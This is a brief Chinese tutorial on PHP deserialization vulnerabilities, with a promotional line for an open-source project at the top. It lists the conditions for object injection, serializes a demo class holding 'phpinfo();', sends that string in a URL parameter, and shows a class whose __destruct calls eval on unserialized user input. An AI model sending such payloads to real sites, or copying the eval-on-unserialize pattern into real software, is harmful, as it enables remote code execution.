🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
必要条件: * 1.unserialize 函数的参数可控 * 2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类 * 3.对象中的成员变量的值 反序列化的变量会覆盖类中变量的值 先拿到序列化的值 ``` class Demo{ public $test="phpinfo();"; } $class=new Demo(); echo serialize($class); ``` ``` O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ``` 访问`http://www.test.com/audit/test.php?code=O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}` ``` class Demo{ public $test="hello"; public function __destruct(){ eval($this->test) } } unserialize($_GET['code']); ```